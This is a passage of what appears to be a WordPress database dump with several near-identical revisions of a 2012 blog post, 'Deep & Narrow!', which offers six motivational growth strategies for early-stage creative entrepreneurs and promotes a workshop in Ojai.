you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-8', '', '', '2012-08-12 06:42:43', '2012-08-12 13:42:43', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-8/', 0, 'revision', '', 0),
(2146, 2, '2012-08-12 06:43:24', '2012-08-12 13:43:24', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-9', '', '', '2012-08-12 06:43:24', '2012-08-12 13:43:24', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-9/', 0, 'revision', '', 0);
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(2147, 2, '2012-08-12 06:43:32', '2012-08-12 13:43:32', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-10', '', '', '2012-08-12 06:43:32', '2012-08-12 13:43:32', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-10/', 0, 'revision', '', 0),
(2148, 2, '2012-08-12 06:49:18', '2012-08-12 13:49:18', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-11', '', '', '2012-08-12 06:49:18', '2012-08-12 13:49:18', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-11/', 0, 'revision', '', 0),
(2149, 2, '2012-08-12 06:49:27', '2012-08-12 13:49:27', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n<h2><strong>Go deep and narrow and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-12', '', '', '2012-08-12 06:49:27', '2012-08-12 13:49:27', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-12/', 0, 'revision', '', 0),
(2150, 2, '2012-08-12 06:50:36', '2012-08-12 13:50:36', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage 